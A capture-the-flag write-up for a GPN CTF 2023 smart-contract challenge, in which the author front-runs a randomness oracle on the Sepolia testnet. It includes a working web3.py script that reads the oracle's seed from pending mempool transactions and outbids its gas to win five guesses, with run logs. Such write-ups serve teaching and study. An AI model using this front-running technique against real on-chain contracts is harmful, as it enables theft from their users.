Skip to content

Latest commit

 

History

History
366 lines (287 loc) · 18.5 KB

gambling.md

File metadata and controls

366 lines (287 loc) · 18.5 KB

GPN CTF 2023 - gambling [1 solve/1000 points] [First blood 🩸]

Description

I'm in the process of launching a new blockchain casino, I hear that's still a lucrative business. The app isn't completely done yet, but I think I already implemented the most important things.

Since everybody knows weak on-chain randomness is how you get rekt I even hired some random dude with dice for secure entropy.

Deployed at 0x2f51e462522AF7b4bcc0CCF6c9368D3B19267bfe

https://sepolia.etherscan.io/address/0x2f51e462522AF7b4bcc0CCF6c9368D3B19267bfe

A few months back, I planned a smart contract CTF challenge for Bauhinia CTF 2023 about front running the Chainlink VRF oracle, the idea of this challenge is nearly identical to the one I planned, the only difference is that it's using its own randomness oracle

As a result, I got first blood in this challenge, also ended up being the only solver of this challenge

After the CTF, I talked to the author of this challenge, and found that both of us got the idea of the challenge from the Random Song challenge in Sekai CTF 2022, which that challenge is possible to be solved with front running but it has a much easier intended solution

The goal of this challenge is to get a streak >= 5

    function flag(string memory ip, uint port) external {
        require(streak[msg.sender] >= 5, "no flag for you");

        emit DeliverFlag(ip, port);
    }

After we got a streak of 5, then just call flag() with ip and port and it will send the flag there, I setup a free subdomain temporarily just for privacy

We can call enter() with a number to make a guess with > 0.001 ether

    function enter(uint _number) external payable {
        require(msg.value > 0.001 ether, "give moneyz");

        if (guesses[msg.sender].block > 0 && guesses[msg.sender].block < seed.block) {
            // missed a guess
            streak[msg.sender] = 0;
        }

        guesses[msg.sender] = Guess(_number, seed.block);

        if (block.number > lastRandomRequest) {
            randomDealer.requestRandomness();
            lastRandomRequest = block.number;
        }

        // we need to pay this randomness guy
        (bool sent, bytes memory _data) = address(randomDealer).call{value: address(this).balance}("");
        require(sent, "fee transfer failed");
    }

It will then request randomness from the randomDealer which is a randomness oracle

    function requestRandomness() isAllowed public {
        emit RandomRequest(msg.sender);
    }

It will emit an event, then the bot will deliver a random seed

    function deliverRandomness(uint _seed, RandomnessConsumer _target) isOwner external {
        require(allowed[address(_target)], "Invalid target");

        // TODO: VRFs look nice. But so much math...

        try _target.acceptRandomnessWrapper(_seed) {

        } catch Error (string memory error) {
            emit Log(error);
        }
    }

The randomDealer will then call Gambling contract with the seed

    function acceptRandomnessWrapper(uint _number) isRandomDealer external {
        acceptRandomness(_number);
    }

    function acceptRandomness(uint _number) internal override {
        require(msg.sender == address(randomDealer));

        seed = Guess(_number, block.number);
    }

Then we can call claim() to check if we guessed correctly

    function claim() external returns (bool) {
        require(guesses[msg.sender].block != 0, "bet not found");
        require(guesses[msg.sender].block < seed.block, "too old");

        uint userSeed = uint(sha256(abi.encodePacked(seed.number, msg.sender, seed.block)));
        uint ticket = userSeed % 100000000;

        if (guesses[msg.sender].number == ticket) {
            streak[msg.sender] += 1;
            delete guesses[msg.sender];

            emit Win(msg.sender);
            return true;
        }

        streak[msg.sender] = 0;
        delete guesses[msg.sender];
        emit Fail(msg.sender);
        return false;
    }

The number to be guessed is generated by hashing the seed, the caller of claim() and the block that the randomness seed is delivered, then mod 100000000

Meaning it has 100000000 possibilities, and we have to continously win for 5 times in order to solve the challenge, which is nearly impossible, it will reset streak to 0 if we guessed wrong

We can see Chainlink VRF's security considerations page : https://docs.chain.link/vrf/v2/security

It mentioned this :

Don't accept bids/bets/inputs after you have made a randomness request

But in this challenge, we can call enter() to guess again before the randomness of previous enter() is delivered, so it is front-runnable

As the challenge is deployed to sepolia testnet, we are going to need a RPC provider that allow us to access the mempool, quicknode is one of RPC provider that allow mempool access :

https://www.quicknode.com/

There's multiple way to access transactions in the mempool, one way is to use the txpool_content RPC method

web3.py example :

from web3 import Web3, HTTPProvider
from web3.middleware import geth_poa_middleware
web3 = Web3(HTTPProvider('<rpc url>'))
web3.middleware_onion.inject(geth_poa_middleware, layer=0)

web3.geth.txpool.content()

However, this is too slow, one block is around 12 sec, and it takes around 10 sec to receive all the content, as it is retrieving all transaction data in the mempool

We can use the pending filter instead, and keep getting new entries which will just retrieve new pending transactions in the mempool that we have not seen

web3.py example :

>>> pending_filter = web3.eth.filter('pending')
>>> pending_filter.get_new_entries()
[HexBytes('0x350bc8f770dc114e893cc0dd8ea6107fe2b4c72d199bef4cfeaa1ef9284636ba'), HexBytes('0x69cb203481133c8012f16d085a1926df3b5c82be35be59ac6ccefa8dbb81ad47'), HexBytes('0x0a2e8cb7c36ab4f79e3f0fc331643ed600de12b52930c11bb7d0098b846d250f'), HexBytes('0xbfd483e1c48fca8dddf10ed2c032aa0cb7d59e2026f1083bed7c8f972bd5c6f4'), HexBytes('0x5c7d6fae0f7da077d96c40a8cce660ddead1a0c1f41e7b92c57c8378888dc6e3'), HexBytes('0x4ba31111b243161b67b0f8c45f4e324c2aec2371806915796781f3636cb48119'), HexBytes('0x3e895467d85aa5423779d517688c59d5b53c8e8382f04fb79f2273c1392f3782'), HexBytes('0x74eb3986773b4547dcb99cfaa4f7aa46b3d951721ef355f2d0445720cb9dd80d'), HexBytes('0x16cc319643b30e46fcd5b3fd48338f21cb7e2c894552cde45837cffddfbc9280'), HexBytes('0x97269e8a68bc06d5d9c7fda1734a4b084f94f6aec6787e01c2f74f5951175617'), HexBytes('0x9c679139616d3219315ee72900000785a47f746f3552a30243fb422e23e09471'), HexBytes('0x6fc06e8a9786a9351849a88205513b30bf70dcfe95563d3620dded452203ba18'), HexBytes('0xfd5c5b3d89ea4729919687fce431888b85411ec616ee799610db59971c7cc0c8'), HexBytes('0x07dd0de9f00362f89a2607ec07a0c9dbaa77e73169b4cec9d6334a95f3533d81'), HexBytes('0x30dfb16fd590adb6f7125090c74007151cc1fda57a84ceea56b0036ceffd4405'), HexBytes('0x23888a8ede2325524bf3f452dd9d9d851ba3ebcebdfde22e68968fef70082d57')]
>>> pending_filter.get_new_entries()
[HexBytes('0x78437ed06bf83142a93efb04f3b4080bf7addde29ec2e86ab6131bdadc649e63'), HexBytes('0xea33abac09731821182ef13be4020412ed983318f06661715d1a95d48b4518ee'), HexBytes('0xa25077c301e9d89d503c8394452d45465f8797ef1d2cbcd7fa5faa560c574929'), HexBytes('0x67876013e4a4d93b642b5dc2b6fdc29db6481ab1c8a60740feb8a566f8283163'), HexBytes('0xc2888008193b3194213d821dc38c2df51dd41d9a9c5adc2f20cb11ff1a500e93'), HexBytes('0xa398567b32fba195e3006167ea2839f48657dcb20ab5b3af38d18b5dbcc97134'), HexBytes('0xf8b695cff155690fdbda6c2a6018582d4bcdb76d89dbe47b3fe7ec186d50e8d0'), HexBytes('0x7871d7a1b92701daf86e1678213f1ee0028998e7795eb41b30e84577fd97b45e'), HexBytes('0x747486abc169b6dd7f999bbb68b8c56dfa086de4f2b92636e932d7b689e13760'), HexBytes('0xf345bd1123272eaff0c2eeb55505f8f40a583938ac2aae7171db4cfe64b20559'), HexBytes('0x662034ec8c24894d24c80e425e0646f7ccb3425a6332a201d17b4859f0ba9b01')]

Then we can get data of the transactions with multithreading, so we are fast enough to read the seed of the new randomness delivery and front run the oracle's transaction with a correct guess

As the correct number is based on the block that included the randomness delivery transaction, and sepolia is not too busy that time, I will just assume it will be included in the next block

So, at first I will call enter() with any number, as we will make a new correct guess later so it doesn't matter

Then monitor the mempool for the oracle's randomness delivery transaction, and read the seed from it

After we get the seed, calculate the correct number, and make a guess with enter() with the correct number with a higher gas fee to ensure our transaction will be included earlier than the oracle's transaction

Then wait for the oracle's 1st randomness delivery is included, and we can immediately call claim() with a high gas fee to ensure it being included before the 2nd randomness delivery transaction

This is the script I used to automate everything quickly :

from web3 import Web3, HTTPProvider
from web3.middleware import geth_poa_middleware
from threading import Thread
import hashlib
from eth_abi import packed

web3 = Web3(HTTPProvider('<rpc url>'))
web3.middleware_onion.inject(geth_poa_middleware, layer=0) 

# send first enter()
gambling_abi = '[{"inputs":[{"internalType":"uint256","name":"_number","type":"uint256"}],"name":"acceptRandomnessWrapper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claim","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract RandomnessDealer","name":"_dealer","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"ip","type":"string"},{"indexed":false,"internalType":"uint256","name":"port","type":"uint256"}],"name":"DeliverFlag","type":"event"},{"inputs":[{"internalType":"uint256","name":"_number","type":"uint256"}],"name":"enter","outputs":[],"stateMutability":"payable","type":"function"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"}],"name":"Fail","type":"event"},{"inputs":[{"internalType":"string","name":"ip","type":"string"},{"internalType":"uint256","name":"port","type":"uint256"}],"name":"flag","outputs":[],"stateMutability":"nonpayable","type":"function"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"winner","type":"address"}],"name":"Win","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"guesses","outputs":[{"internalType":"uint256","name":"number","type":"uint256"},{"internalType":"uint256","name":"block","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastRandomRequest","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"randomDealer","outputs":[{"internalType":"contract RandomnessDealer","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"seed","outputs":[{"internalType":"uint256","name":"number","type":"uint256"},{"internalType":"uint256","name":"block","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"streak","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]'
gambling_contract = web3.eth.contract(address='0x2f51e462522AF7b4bcc0CCF6c9368D3B19267bfe', abi=gambling_abi)

wallet = '0x9570731E6814B98C36DeAC7a38B97A8B254B391A'
private_key = '<key>'

nonce = web3.eth.get_transaction_count(wallet)
gasPrice = web3.eth.gas_price
gasLimit = 200000

tx = {
    'nonce': nonce,
    'gas': gasLimit,
    'gasPrice': gasPrice,
    'from': wallet,
    'value': web3.to_wei(0.001, 'ether') + 1
}
transaction = gambling_contract.functions.enter(1).build_transaction(tx)
signed_tx = web3.eth.account.sign_transaction(transaction, private_key)
tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_hash = web3.to_hex(tx_hash)
print("First enter() :", transaction_hash)

# listen for randomness delivery
pending_filter = web3.eth.filter('pending')

dealer_abi = '[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"msg","type":"string"}],"name":"Log","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"requester","type":"address"}],"name":"RandomRequest","type":"event"},{"inputs":[{"internalType":"address","name":"_contract","type":"address"}],"name":"addAllowedContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_seed","type":"uint256"},{"internalType":"contract RandomnessConsumer","name":"_target","type":"address"}],"name":"deliverRandomness","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_contract","type":"address"}],"name":"removedAllowedContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"requestRandomness","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]'
dealer_contract = web3.eth.contract(address='0xfb65Fd2eb7E0Fa99bfD25371f841d1bf1a453e0C', abi=dealer_abi)

found = False
seed = 0
randomness_gas_fee = 0
first_randomness = ''

def get_txn(txn_hash):
	txn = web3.eth.get_transaction(txn_hash)
	if txn['from'] == '0xD9c2C33464E89315D61093d8c5A1e1b7efbdF041':
		print('Found...')
		global found
		found = True
		print(txn)
		global first_randomness
		first_randomness = txn['hash']
		global randomness_gas_fee
		randomness_gas_fee = txn['gasPrice']
		print(txn['input'])
		func_obj, func_params = dealer_contract.decode_function_input(txn['input'])
		print(func_params)
		global seed
		seed = func_params['_seed']
		print('Seed =', seed)

while True:
	if found:
		break
	txns = pending_filter.get_new_entries()
	for txn_hash in txns:
		thread = Thread(target=get_txn, args=[txn_hash])
		thread.start()
	print('...')

# front run
blocknum = web3.eth.get_block_number()
seed_blocknum = blocknum + 1

_number = int(hashlib.sha256(bytes.fromhex(packed.encode_packed(['uint256', 'address', 'uint256'], [seed, wallet, seed_blocknum]).hex())).hexdigest(), 16) % 100000000

nonce += 1
gasPrice = web3.eth.gas_price
gasLimit = 200000

tx = {
    'nonce': nonce,
    'gas': gasLimit,
    'gasPrice': randomness_gas_fee * 2,
    'from': wallet,
    'value': web3.to_wei(0.001, 'ether') + 1
}
transaction = gambling_contract.functions.enter(_number).build_transaction(tx)
signed_tx = web3.eth.account.sign_transaction(transaction, private_key)
tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_hash = web3.to_hex(tx_hash)
print("Front run enter() :", transaction_hash)
print("Seed :", seed)
print("Wallet :", wallet)
print("Seed block :", seed_blocknum)
print("Guess number :", _number)

# Immediately claim after 1st randomness is delivered but before 2nd randomness is delivered
web3.eth.wait_for_transaction_receipt(first_randomness)
print("First randomness is delivered :", first_randomness)
print("Attempt to claim before 2nd randomness is delivered...")
nonce += 1
gasPrice = web3.eth.gas_price
gasLimit = 200000

tx = {
    'nonce': nonce,
    'gas': gasLimit,
    'gasPrice': randomness_gas_fee * 2,
    'from': wallet
}
transaction = gambling_contract.functions.claim().build_transaction(tx)
signed_tx = web3.eth.account.sign_transaction(transaction, private_key)
tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_hash = web3.to_hex(tx_hash)
print("Claim() :", transaction_hash)

Then run it for 5 times to have a streak of 5 :

# python3 solve.py 
First enter() : 0x5ba7def0916ecc806fffa7e89757e2eba2b7231440dd26b1f4194957ecec53f5
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
...
Found...
AttributeDict({'blockHash': None, 'blockNumber': None, 'from': '0xD9c2C33464E89315D61093d8c5A1e1b7efbdF041', 'gas': 100000, 'gasPrice': 1500000011, 'maxFeePerGas': 1500000011, 'maxPriorityFeePerGas': 1500000000, 'hash': HexBytes('0xbde6638158a2c2c119f9c17fbce27435a9ac88ecf4f7f3d0bcd9650f44bf60b4'), 'input': '0x5a77dffd0000000000000000000000000000000000000000000000000000063da63b48b50000000000000000000000002f51e462522af7b4bcc0ccf6c9368d3b19267bfe', 'nonce': 246, 'to': '0xfb65Fd2eb7E0Fa99bfD25371f841d1bf1a453e0C', 'transactionIndex': None, 'value': 0, 'type': 2, 'accessList': [], 'chainId': 11155111, 'v': 1, 'r': HexBytes('0x5c7e28723973602500eb5c45cc2ea341358c1991b248f352e19028aba9d1ab59'), 's': HexBytes('0x30aca853608a414528638709e486312d332ee91d9083a133ab48f89c0c14a552')})
0x5a77dffd0000000000000000000000000000000000000000000000000000063da63b48b50000000000000000000000002f51e462522af7b4bcc0ccf6c9368d3b19267bfe
{'_seed': 6861851674805, '_target': '0x2f51e462522AF7b4bcc0CCF6c9368D3B19267bfe'}
Seed = 6861851674805
...
Front run enter() : 0xe2ccd9430ea56b3ee46d93d60da784815f3e73654fb3ac36788f30574cd63d2a
Seed : 6861851674805
Wallet : 0x9570731E6814B98C36DeAC7a38B97A8B254B391A
Seed block : 3680043
Guess number : 14692404
First randomness is delivered : b'\xbd\xe6c\x81X\xa2\xc2\xc1\x19\xf9\xc1\x7f\xbc\xe2t5\xa9\xac\x88\xec\xf4\xf7\xf3\xd0\xbc\xd9e\x0fD\xbf`\xb4'
Attempt to claim before 2nd randomness is delivered...
Claim() : 0xc4dd028aafb6bfbd52fa9f06a4a53da09942938acc3ac4b96ff24e2d541af8b5

Then we can confirm we got a streak of 5 :

# cast call 0x2f51e462522AF7b4bcc0CCF6c9368D3B19267bfe "streak(address)(uint256)" 0x9570731E6814B98C36DeAC7a38B97A8B254B391A --rpc-url https://rpc.sepolia.org
5

Then I will just get a free subdomain temporarily for getting the flag instead of sending my ip address out to a public testnet for privacy, I used this :

https://freedns.afraid.org/subdomain/

Then just listen to the port and call flag()

# cast send 0x2f51e462522AF7b4bcc0CCF6c9368D3B19267bfe "flag(string,uint)" kaiziron-gpn-ctf.ftp.sh 1337 --rpc-url https://rpc.sepolia.org -i
# nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.2] 18657
GPNCTF{n1ce_j0b_n0w_sAndw1ch_s0m3_trad3s_3bnL9}Feel free to submit challenge feedback here (5min timeout):